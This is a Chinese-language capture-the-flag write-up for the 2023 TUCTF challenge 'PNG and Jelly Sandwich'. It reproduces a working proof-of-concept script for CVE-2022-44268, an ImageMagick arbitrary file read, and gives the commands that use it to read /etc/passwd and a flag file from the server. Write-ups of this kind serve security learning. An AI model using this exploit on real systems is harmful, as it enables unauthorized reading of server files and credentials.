2023 TUCTF WriteUp
2023-12-04
Write Up
PNG and Jelly Sandwich
1. ImageMagick 识别
根据题目描述提示使用 Open Source Software
以及界面中提示的 Magic Image Resizer
联想到 开源图片处理软件 ImageMagick
2. CVE-2022-44268 任意文件读取
搜索相关CVE发现是
CVE-2022-44268 ImageMagick 任意文件读取漏洞
漏洞原理是利用图片中的 profile 部分进行任意文件读取
使用网站中现成的脚本测试漏洞
# generate.py
import png # pip install pypng
import argparse
import os
import time
from PIL import Image, PngImagePlugin
def main():
print("\n [\u001b[32;1m>\u001b[0m] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>")
parser = argparse.ArgumentParser(description='imagemagick-LFI : PoC for CVE-2022-44268')
parser.add_argument('-f','--lfile' , help = 'Local file to read' , required=True)
parser.add_argument('-o', '--output', help = 'Output png file', required=True)
args = parser.parse_args()
time.sleep(0.2)
print(" [\u001b[32;1m>\u001b[0m] Generating Blank PNG")
width = 255
height = 255
img = []
for y in range(height):
row = ()
for x in range(width):
row = row + (x, max(0, 255 - x - y), y)
img.append(row)
with open('gradient.png', 'wb') as f:
w = png.Writer(width, height, greyscale=False)
w.write(f, img)
time.sleep(0.2)
print(" [\u001b[32;1m>\u001b[0m] Blank PNG generated")
time.sleep(0.2)
print(f" [\u001b[32;1m>\u001b[0m] Placing Payload to read {args.lfile}")
info = PngImagePlugin.PngInfo()
info.add_text("profile", args.lfile)
im = Image.open("gradient.png")
im.save(args.output, "PNG", pnginfo=info)
time.sleep(0.2)
print(f" [\u001b[32;1m>\u001b[0m] PoC PNG generated > {args.output}")
gradient_file = "gradient.png"
if os.path.isfile(gradient_file):
os.remove(gradient_file)
else:
pass
if __name__ == '__main__':
main()
python3 generate.py -f "/etc/passwd" -o exploit.png
将生成后的 exploit.png 上传至网站并下载回传图片
使用 cyberchef 对 exif 进行解密
我们得到了 /etc/passwd 的内容
并从中得知目录和文件相关信息:/challenge/flag.txt
对其进行读取
python3 generate.py -f "/challenge/flag.txt" -o exploit.png
读取回传照片时发现 exif 并没有显示数据
但在原始文件中我们发现其中包含一个 175 Bytes 的数据
使用 cyberchef 进行解密我们得到
Sorry, Grandma viewed this Sunday, November 12, 2023 at exactly 13:23:48 (GMT).
3. 时间戳命名
此时结合回传图片的图片名
我们发现回传图片的图片名是使用时间戳命名的
我们使用这个时间的时间戳读取照片 IM-1699795428.000000.png
获得如下图片:
得到 flag :
TUCTF{cL4ss1c_CVE_ch4LL_L0L}